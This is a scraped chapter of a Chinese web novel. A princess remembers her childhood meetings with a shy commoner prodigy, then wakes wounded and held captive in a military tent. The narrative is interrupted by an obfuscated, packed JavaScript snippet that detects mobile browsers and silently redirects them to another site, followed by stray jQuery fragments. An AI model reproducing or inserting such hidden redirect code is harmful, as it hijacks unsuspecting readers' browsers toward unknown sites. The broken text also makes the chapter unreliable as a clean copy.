默认冷灰
24号文字
方正启体

7. 桃花

作者:千山飞诀本书字数:K更新时间:
    卫瓴第一次见御洐是在御花园。


    记不得几岁,彼时卫瓴刚从寺中被接回数月。


    一个白玉似的人儿恭敬卑跪在身前,小心谨慎给公主请安。


    她却被他腰间佩戴的东西吸引了去,不是玉佩,也不是香囊,似是草本打的络子,编织很独特,她随口道,“免礼。”


    “谢殿下。”


    “你腰间这是何物?”


    一只葱白玉手抓住了腰间配饰,御洐大惊失色,呆立在原地,暗自观察周围人的反应。


    “殿下!”婢女严厉呵道。


    卫瓴悻悻收回手,佯装不感兴趣,“我不过查看一下是不是暗器。”


    吓得御洐当场跪下了,“贱民不敢!那是贱民自己编的,不堪入公主玉眼。”


    那是他第一次入宫,听说宫中人人身上均有配饰,给自己也挂了一个,不想却弄巧成拙。


    卫瓴见他窘迫,刚要夸赞他手艺了得。


    “那自是,冲撞了公主还不退下!”


    被婢女隔开,只能欲言又止,频频回头地被带走,他却一味低着头,再没抬过。


    再相见。


    御洐毕恭毕敬立在皇兄身侧。


    方得知,他原来就是父皇在民间给皇兄招的伴读。


    听闻此子乃书院洒扫下人之子,一日追猫,误逢诸子论道于院中。


    “严法乃治国之基,韩非子言:‘夫严刑者,民之所畏也;重罚者,民之所恶也。故圣人陈其所畏以禁其邪,设其所恶以防其奸,是以国安而暴乱不起。’高悬利剑,方能治理效能。”


    “秦速亡便因其严法,道之以政,齐之以刑,民免而无耻;道之以德,齐之以礼,有耻且格。岂能治国不容人情!”


    诸子面对近日皇上减轻刑法争论不休。


    御洐抱猫在暗处偷听,忽然被一人发现,要赶他走,御洐摸着小猫的头,说。


    “有主严管其猫,食有时,眠有处,触禁则笞之。猫惧罚,虽暂守规,然心怀忧恐,于捕鼠亦少奋劲。另有主宽待之,饥则予食,倦则任眠,偶犯小错,亦宽而谅之。猫感主恩,悠然自得,捕鼠之勤不减,且与主亲昵。故严法虽可立威,轻罚重情方得人心。”


    后三月春日登阁,提笔作序,咏大昭盛世,闻名于世。


    卫瓴倒是没想到眼前这个怯懦的孩子就是神童。


    纳凉亭内。


    “我有夫子教的书要向皇兄讨教,你先退下吧。”卫瓴打发了婢女连枝。


    “今日太阳莫不是西边出来的,你怎么知道主动讨教功课了?”卫锨打趣,“我听说前日你又被罚了?还助他人戴冠了?”


    卫瓴俏皮一笑,劳什子戴冠,把鸟窝扣惹她那人头上了,没少了又是一顿罚,讨饶地拿出来甜点奉上,“皇兄,莫要拿我打趣了。连枝处处跟着我,这不让那不许,我从前一贯是自由惯了的,都快透不上气儿了。”


    卫锨没接那块桃花糕,“心疼坏了吧,自己留着吃吧,皇兄不饿,平日里少闹腾,近日又有闲言入了母后的耳,别让母后为难。”


    “我安分也是会被挑出错儿,她们向来对的都不是事儿……”


    卫锨不赞同地摇头,“慎言。”卫瓴做了罢,“罢了,不说这个了,今日我拿的多,这个不占肚子的。”糕点放进卫锨手内。


    “喏,你也有份。”


    隐身在一旁的御洐本想不知不觉退下,生怕听见分毫不该听的,突然被点,抬起头又慌乱低下,无措看向卫锨。


    “拿着吧,她既然开口割爱了,不会讨回去的。”


    “多谢公主。”御洐恭敬弯腰,双手举过头去接那块桃花酥。


    卫瓴却因他这副拘谨的模样皱起了眉,“你这个人好没意思。”


    他又无措抬头,只见公主玉颜白皙,仿若清晨凝露,眸似秋水,唇不点而红。听闻公主幼年体弱,在明心寺养了几年,得庇佑以体康,宸明七年被迎回宫,恰逢祥年嘉禾异穗,科举出了姜大监丞等一众能人,圣心大悦,入宫便封了她秾华公主号。


    民间却有传言公主天生异象,乃是不详之体,明为养于寺中,实则驱其邪气,亦有人推算公主乃是破军坐命,鸾驾犯天恒,化气为耗的命盘,必将搅得天下不得安宁。


    她分明年纪尚小,却已是国色天香,经年后必是名动天下,御洐不敢多看,低下了头,那些传言他在民间都有听闻,并未多思,想来是宫中哪位娘娘不欲公主回宫,派人散播出去的,公主如今虽是回来了,今后仍是明刀易躲,暗箭难防。


    “御洐,放轻松些,现下无别人,没人捉你错处。”卫锨说。


    君子慎独,可是见二人都是轻松做派,他识趣地没有扫兴,“是。”御洐直起腰,试探着接过,“多谢殿下。”


    “咦?你今日腰间怎么没带那东西?”卫瓴边打量边忍不住问。


    提起此事,御洐不自在起来,目光躲闪,接触到卫锨不明所以的目光更是赧然。


    “皇宫天阙岂容粗鄙之物污秽,贱民……臣,已将那物扔了,再不敢在公主面前失仪。”


    “扔了?!”卫瓴脱口而出。


    卫锨见她激动,温声询问道,“怎么了?”


    “皇兄,我那天见他腰上挂了一个络子,甚是精美,他说是他自己编的,今日我想再看一眼,他竟然扔了!”卫瓴一脸心疼,好似她自己失了何物。


    御洐面上一怔,触到卫瓴幽怨的眼神,他捏紧了手,低下了头。


    “既然是自己编的,世间独此一份,便更是珍贵,御洐,下次不要再菲薄心血了。”卫锨没责备,而是温和地对御洐说。


    卫锨比御洐长上几岁,毫无贵为皇子的睥睨,平易近人的气质如同长兄。


    御洐的目光露出浅浅的明亮,乖顺地说,“多谢殿下教诲,臣记下了。”


    “那——那就罚你再做一个,改日送到我殿里来,免得你不长记性。”卫瓴矜骄地递了个眼神。


    御洐眨了眨眼,又看了眼卫锨,垂下他干净的眸子,“是。”


    卫瓴心满意足咬了一口桃花酥,得了甜品还得了精美的络子,要是被连枝抓到,免不了责她无公主应有的端庄。


    嗯?


    卫瓴又咬了一口。


    什么情况?


    桃花酥为什么是苦的???


    苦死了。


    她一口吐出来。


    意识却突然抽离,眼前一片漆黑,耳边有朦胧人声。


    一个冷的要冻死人的声音,“到底什么时候能醒?”


    另一个声音胆小吞吐,“姑娘腹部受创,有剑伤未及时处理,感染发脓,又受了夜间寒气,壮热不退,本已是棘手,加之情致不畅,情绪波动过大伤了元神,小人也没把握何时能醒啊。”


    “再去找大夫,喘口气的都带来。”


    又陷入了安静。


    “磨磨蹭蹭的,我不说了撬开往里灌吗?”


    卫瓴嘴好像被硬物撬开,苦涩入喉。


    她不想喝,苦死了,天杀的,难怪她桃花酥是苦的!眼皮沉重睁不开,只能任由摆布,迷迷糊糊又失了意识。


    不知道沉浮了几番。卫瓴终于从梦里挣脱出来,慢悠悠睁开眼,口干目涩,前胸贴后背,浑身都躺木了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290080|182645||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她缓慢撑起上半身。


    又是军帐。


    除了她没有旁人在。


    这一觉不知道睡了多久,环顾了一周简陋军帐,竟然感觉有些恍惚,不知道今夕何夕,身处何处,回忆起先前种种,无限惆怅一下堵在心口,胸口阵阵绞痛。


    没水。


    鞋子不知哪去了。


    连件能披的衣衫都没有吗?


    她肩头的伤口已经包扎好了,为了方便处理,衣衫被撕破了,宽袖半挂在臂上。


    卫瓴只能把薄被包在身上。


    她裹着被子,去掀开了帐帘,天光瞬间打下来,不适应地伸手遮住了眼。


    “啊!”


    门口一个守卫呼出声,“她,她醒了!”


    “你在这守着,别让她跑了,我去禀报将军。”


    “是!”


    卫瓴渐渐能睁开眼,把手放下,见一个守卫要拿长枪对准她,又怕冲撞贵人,守卫面容青涩,应是年纪不大,憋得涨红了脸。


    “你,你回去!不准出来!”


    卫瓴无奈一笑,病容苍白,嘴唇干涩,“我不乱跑,太久没动也没见过阳光了,我就在这帐口晒会太阳行吗?不会离开你的视线。”


    “这……”


    “我现在这样也跑不了,我只在这晒会太阳,我保证。”声音沙哑。


    小守卫见她一幅随时会挂掉的样儿,知道她没虚言。


    晾她也逃不了,应该看住了人就行,犹豫之下,“那行吧,我警告你,别动歪心思,这外面全是人把守,你也跑不了,你别自找苦吃。”


    “多谢。”卫瓴点头。


    她在帐前的石头上坐下,面容平淡地看向远方。


    太阳苍白,树叶已经都落光了,天空高远,一只寒鸦划过。


    “你可知,我睡了几日了?”她轻声问守卫。


    小守卫不知她是何人,允她在外面已经是涉险,不敢多言,只说,“不清楚。”


    卫瓴缓慢点了点头。


    冷风一激,低头急促咳起。


    她强压下咳,拢紧素布薄褥,一点点仰起头,闭上了眼睛,阳光洒在身上,窃贪半分暖。


    小守卫好奇地偷瞟了一眼。


    这女子面上如一滩无波的浅潭,青丝散落,分明看上去年纪不大,整个人却笼在淡淡的悲痛中,无声、孤寂,下一秒会化风散去般,飘渺极了。


    卫瓴突然忆起年前卜过一卦。知那小守卫不会多言,能听她说说话也好。


    “冬天就要到了,据说今年是个寒冬,如今横遭战事,不知道要冻死多少流离失所的人。”


    守卫不禁想到家中重病的母亲,见眼前之人一副短命相,有了几分恻隐之心,正欲说话,见尉迟玄来了,立马表情肃穆。


    “可是熬过这严寒,来年待花开,又是草长莺飞的光景,往日……”


    哽住说不下去,喉间堵了桃核般,往事不堪回首,便做了罢,“来年如果有机会,兴许去看看桃花,传说那日夸父扔弃的手杖,便化作了一片桃林。”


    她不是欲观桃花,她是不知安有来年,前路迷蒙,脚下的每一步都布满荆棘和火炭。


    这一觉醒来,她感到身中什么东西流走了,很乏力,无论是身体,还是她的精神。


    眼前一黑,阴影罩在卫瓴身上,她睁开眼,正巧对上尉迟玄垂眸凝她。


    气温骤然下降,两人的气氛很诡异,比腊月还寒冷,互不退让地对视。


    “让开。”


    卫瓴麻木开口,俨然不是方才柔和的样子,“将军看不见我正在晒太阳吗?你把阳光挡住了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)